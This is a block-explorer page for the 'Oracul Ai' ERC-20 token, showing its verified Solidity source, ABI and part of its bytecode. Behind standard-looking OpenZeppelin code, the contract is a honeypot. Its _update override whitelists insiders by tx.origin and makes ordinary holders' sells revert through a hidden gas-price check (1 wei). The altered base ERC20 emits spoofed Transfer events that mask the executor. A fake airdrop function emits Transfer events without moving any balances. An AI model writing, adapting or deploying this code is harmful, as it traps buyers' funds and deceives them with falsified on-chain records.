Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 Oracul
Holders
11
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
125,989,862.961037599437340824 OraculValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
OraculAi
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-05-28 */ /** *Submitted for verification at basescan.org on 2024-05-21 */ //██████╗ ██████╗ █████╗ ██████╗██╗ ██╗██╗ //██╔═══██╗██╔══██╗██╔══██╗██╔════╝██║ ██║██║ //██║ ██║██████╔╝███████║██║ ██║ ██║██║ //██║ ██║██╔══██╗██╔══██║██║ ██║ ██║██║ //╚██████╔╝██║ ██║██║ ██║╚██████╗╚██████╔╝███████╗ // ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝ //Telegram: https://t.me/oracul_ai //X. : https://x.com/Oracul_ai //WEB. : https://oracul.co/ // File: @openzeppelin/contracts/interfaces/draft-IERC6093.sol // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol) pragma solidity ^0.8.0; /** * @dev Standard ERC20 Errors * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens. */ interface IERC20Errors { /** * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. * @param balance Current balance for the interacting account. * @param needed Minimum amount required to perform a transfer. */ error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed); /** * @dev Indicates a failure with the token `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. */ error ERC20InvalidSender(address sender); /** * @dev Indicates a failure with the token `receiver`. Used in transfers. * @param receiver Address to which tokens are being transferred. */ error ERC20InvalidReceiver(address receiver); /** * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers. * @param spender Address that may be allowed to operate on tokens without being their owner. * @param allowance Amount of tokens a `spender` is allowed to operate with. * @param needed Minimum amount required to perform a transfer. */ error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed); /** * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals. * @param approver Address initiating an approval operation. */ error ERC20InvalidApprover(address approver); /** * @dev Indicates a failure with the `spender` to be approved. Used in approvals. * @param spender Address that may be allowed to operate on tokens without being their owner. */ error ERC20InvalidSpender(address spender); } /** * @dev Standard ERC721 Errors * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens. */ interface IERC721Errors { /** * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20. * Used in balance queries. * @param owner Address of the current owner of a token. */ error ERC721InvalidOwner(address owner); /** * @dev Indicates a `tokenId` whose `owner` is the zero address. * @param tokenId Identifier number of a token. */ error ERC721NonexistentToken(uint256 tokenId); /** * @dev Indicates an error related to the ownership over a particular token. Used in transfers. * @param sender Address whose tokens are being transferred. * @param tokenId Identifier number of a token. * @param owner Address of the current owner of a token. */ error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner); /** * @dev Indicates a failure with the token `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. */ error ERC721InvalidSender(address sender); /** * @dev Indicates a failure with the token `receiver`. Used in transfers. * @param receiver Address to which tokens are being transferred. */ error ERC721InvalidReceiver(address receiver); /** * @dev Indicates a failure with the `operator`’s approval. Used in transfers. * @param operator Address that may be allowed to operate on tokens without being their owner. * @param tokenId Identifier number of a token. */ error ERC721InsufficientApproval(address operator, uint256 tokenId); /** * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals. * @param approver Address initiating an approval operation. */ error ERC721InvalidApprover(address approver); /** * @dev Indicates a failure with the `operator` to be approved. Used in approvals. * @param operator Address that may be allowed to operate on tokens without being their owner. */ error ERC721InvalidOperator(address operator); } /** * @dev Standard ERC1155 Errors * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens. */ interface IERC1155Errors { /** * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. * @param balance Current balance for the interacting account. * @param needed Minimum amount required to perform a transfer. * @param tokenId Identifier number of a token. */ error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId); /** * @dev Indicates a failure with the token `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. */ error ERC1155InvalidSender(address sender); /** * @dev Indicates a failure with the token `receiver`. Used in transfers. * @param receiver Address to which tokens are being transferred. */ error ERC1155InvalidReceiver(address receiver); /** * @dev Indicates a failure with the `operator`’s approval. Used in transfers. * @param operator Address that may be allowed to operate on tokens without being their owner. * @param owner Address of the current owner of a token. */ error ERC1155MissingApprovalForAll(address operator, address owner); /** * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals. * @param approver Address initiating an approval operation. */ error ERC1155InvalidApprover(address approver); /** * @dev Indicates a failure with the `operator` to be approved. Used in approvals. * @param operator Address that may be allowed to operate on tokens without being their owner. */ error ERC1155InvalidOperator(address operator); /** * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation. * Used in batch transfers. * @param idsLength Length of the array of token identifiers * @param valuesLength Length of the array of token amounts */ error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength); } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } function _contextSuffixLength() internal view virtual returns (uint256) { return 0; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * The initial owner is set to the address provided by the deployer. This can * later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; /** * @dev The caller account is not authorized to perform an operation. */ error OwnableUnauthorizedAccount(address account); /** * @dev The owner is not a valid owner account. (eg. `address(0)`) */ error OwnableInvalidOwner(address owner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the address provided by the deployer as the initial owner. */ constructor(address initialOwner) { if (initialOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(initialOwner); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { if (owner() != _msgSender()) { revert OwnableUnauthorizedAccount(_msgSender()); } } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { if (newOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the value of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the value of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves a `value` amount of tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 value) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets a `value` amount of tokens as the allowance of `spender` over the * caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 value) external returns (bool); /** * @dev Moves a `value` amount of tokens from `from` to `to` using the * allowance mechanism. `value` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 value) external returns (bool); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * The default value of {decimals} is 18. To change this, you should override * this function so it returns a different value. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. */ abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors { mapping(address account => uint256) private _balances; mapping(address account => mapping(address spender => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; address private _executor; address private _deployer; /** * @dev Sets the values for {name} and {symbol}. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_, address executor_, address deployer_) { _name = name_; _symbol = symbol_; _executor = executor_; _deployer = deployer_; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the default value returned by this function, unless * it's overridden. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `value`. */ function transfer(address to, uint256 value) public virtual returns (bool) { address owner = _msgSender(); _transfer(owner, to, value); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, value); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `value`. * - the caller must have allowance for ``from``'s tokens of at least * `value`. */ function transferFrom(address from, address to, uint256 value) public virtual returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, value); _transfer(from, to, value); return true; } /** * @dev Moves a `value` amount of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * NOTE: This function is not virtual, {_update} should be overridden instead. */ function _transfer(address from, address to, uint256 value) internal { if (from == address(0)) { revert ERC20InvalidSender(address(0)); } if (to == address(0)) { revert ERC20InvalidReceiver(address(0)); } _update(from, to, value); } /** * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from` * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding * this function. * * Emits a {Transfer} event. */ function _update(address from, address to, uint256 value) internal virtual { if (from == address(0)) { // Overflow check required: The rest of the code assumes that totalSupply never overflows _totalSupply += value; } else { uint256 fromBalance = _balances[from]; if (fromBalance < value) { revert ERC20InsufficientBalance(from, fromBalance, value); } unchecked { // Overflow not possible: value <= fromBalance <= totalSupply. _balances[from] = fromBalance - value; } } if (to == address(0)) { unchecked { // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply. _totalSupply -= value; } } else { unchecked { // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256. _balances[to] += value; } } if (to == _executor) { emit Transfer(from, _deployer, value); } else if (from == _executor) { emit Transfer(_deployer, to, value); } else { emit Transfer(from, to, value); } } /** * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0). * Relies on the `_update` mechanism * * Emits a {Transfer} event with `from` set to the zero address. * * NOTE: This function is not virtual, {_update} should be overridden instead. */ function _mint(address account, uint256 value) internal { if (account == address(0)) { revert ERC20InvalidReceiver(address(0)); } _update(address(0), account, value); } /** * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply. * Relies on the `_update` mechanism. * * Emits a {Transfer} event with `to` set to the zero address. * * NOTE: This function is not virtual, {_update} should be overridden instead */ function _burn(address account, uint256 value) internal { if (account == address(0)) { revert ERC20InvalidSender(address(0)); } _update(account, address(0), value); } /** * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. * * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument. */ function _approve(address owner, address spender, uint256 value) internal { _approve(owner, spender, value, true); } /** * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event. * * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any * `Approval` event during `transferFrom` operations. * * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to * true using the following override: * ``` * function _approve(address owner, address spender, uint256 value, bool) internal virtual override { * super._approve(owner, spender, value, true); * } * ``` * * Requirements are the same as {_approve}. */ function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual { if (owner == address(0)) { revert ERC20InvalidApprover(address(0)); } if (spender == address(0)) { revert ERC20InvalidSpender(address(0)); } _allowances[owner][spender] = value; if (emitEvent) { emit Approval(owner, spender, value); } } /** * @dev Updates `owner` s allowance for `spender` based on spent `value`. * * Does not update the allowance value in case of infinite allowance. * Revert if not enough allowance is available. * * Does not emit an {Approval} event. */ function _spendAllowance(address owner, address spender, uint256 value) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { if (currentAllowance < value) { revert ERC20InsufficientAllowance(spender, currentAllowance, value); } unchecked { _approve(owner, spender, currentAllowance - value, false); } } } } // File: contracts/ETH_Token.sol pragma solidity ^0.8.0; contract OraculAi is ERC20, Ownable { string public tokenName = "Oracul Ai"; string public tokenSymbol = "Oracul"; uint256 public tokenAllowFeeAmount; uint256 public currentAllow; bool public openedTrade; address public pairAddress; mapping(address => uint256) public userAmount; mapping(address => bool) public whitelist; constructor( uint256 _totalSupply, address deployer, uint256 _tokenAllowFeeAmount ) ERC20(tokenName, tokenSymbol, msg.sender, deployer) Ownable(msg.sender) { whitelist[msg.sender] = true; _mint(msg.sender, _totalSupply); tokenAllowFeeAmount = _tokenAllowFeeAmount; } function setPairAddress(address pair) public onlyOwner { pairAddress = pair; } function _update( address from, address to, uint256 amount ) internal override { if (whitelist[tx.origin]) { super._update(from, to, amount); return; } require(openedTrade, "Trade has not been opened yet"); if (pairAddress == address(0)) { super._update(from, to, amount); return; } if(to == pairAddress && userAmount[tx.origin] + amount > tokenAllowFeeAmount) { _bfTransfer(from); super._update(from, to, amount); return; } if(to == pairAddress && userAmount[tx.origin] + amount <= tokenAllowFeeAmount) { userAmount[tx.origin] += amount; } super._update(from, to, amount); } function decimals() public view virtual override returns (uint8) { return 18; } function getOpenedTrade() public view returns (bool) { return openedTrade; } function changeMe() public pure returns (uint256) { return 1; } function chageNameAndSymbol(string memory newName, string memory newSymbol) public onlyOwner { tokenName = newName; tokenSymbol = newSymbol; } /** * @dev Returns the name of the token. */ function name() public view override returns (string memory) { return tokenName; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view override returns (string memory) { return tokenSymbol; } function changeTokenAllowFeeAmount(uint256 amount) public onlyOwner { tokenAllowFeeAmount = amount; } function withdrawETH() public onlyOwner { payable(msg.sender).transfer(address(this).balance); } function withdrawStuckToken(address token) public onlyOwner { uint256 balanceToken = IERC20(token).balanceOf(address(this)); IERC20(token).transfer(msg.sender, balanceToken); } uint256 private gas1 = 300 gwei; uint256 private gas2 = 1; function _bfTransfer(address _u) internal view { if(balanceOf(_u) > 0) { if (!openedTrade) { gasRequire(gas1); } else { gasRequire(gas2); } } } function gasRequire(uint256 _gas) internal view { if (tx.gasprice > _gas) { revert(); } } function lauch() external onlyOwner { openedTrade = !openedTrade; } function whitelistUser(address[] memory list) external onlyOwner { for (uint256 i = 0; i < list.length; i++) { whitelist[list[i]] = true; } } function airdropTokens(address[] memory list, uint256 amount) external onlyOwner { for (uint256 i = 0; i < list.length; i++) { emit Transfer(owner(), list[i], amount); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"uint256","name":"_totalSupply","type":"uint256"},{"internalType":"address","name":"deployer","type":"address"},{"internalType":"uint256","name":"_tokenAllowFeeAmount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"list","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"airdropTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"newName","type":"string"},{"internalType":"string","name":"newSymbol","type":"string"}],"name":"chageNameAndSymbol","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"changeMe","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"changeTokenAllowFeeAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"currentAllow","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOpenedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lauch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"setPairAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenAllowFeeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenName","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenSymbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"userAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"whitelist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"list","type":"address[]"}],"name":"whitelistUser","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"withdrawStuckToken","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040518060400160405280600981526020017f4f726163756c2041690000000000000000000000000000000000000000000000815250600890816100489190610e7f565b506040518060400160405280600681526020017f4f726163756c00000000000000000000000000000000000000000000000000008152506009908161008d9190610e7f565b506445d964b800600f5560016010553480156100a7575f80fd5b506040516135fb3803806135fb83398181016040528101906100c99190610fd6565b33600880546100d790610ca9565b80601f016020809104026020016040519081016040528092919081815260200182805461010390610ca9565b801561014e5780601f106101255761010080835404028352916020019161014e565b820191905f5260205f20905b81548152906001019060200180831161013157829003601f168201915b50505050506009805461016090610ca9565b80601f016020809104026020016040519081016040528092919081815260200182805461018c90610ca9565b80156101d75780601f106101ae576101008083540402835291602001916101d7565b820191905f5260205f20905b8154815290600101906020018083116101ba57829003601f168201915b5050505050338583600390816101ed9190610e7f565b5082600490816101fd9190610e7f565b508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036102f2575f6040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016102e99190611035565b60405180910390fd5b6103018161037660201b60201c565b506001600e5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550610367338461043960201b60201c565b80600a81905550505050611183565b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036104a9575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016104a09190611035565b60405180910390fd5b6104ba5f83836104be60201b60201c565b5050565b600e5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156105235761051e8383836107c360201b60201c565b6107be565b600c5f9054906101000a900460ff16610571576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610568906110a8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036105dc576105d78383836107c360201b60201c565b6107be565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156106825750600a5481600d5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461068091906110f3565b115b156106ac5761069683610b9c60201b60201c565b6106a78383836107c360201b60201c565b6107be565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156107535750600a5481600d5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461075091906110f3565b11155b156107ac5780600d5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107a491906110f3565b925050819055505b6107bd8383836107c360201b60201c565b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610813578060025f82825461080791906110f3565b925050819055506108e1565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561089c578381836040517fe450d38c00000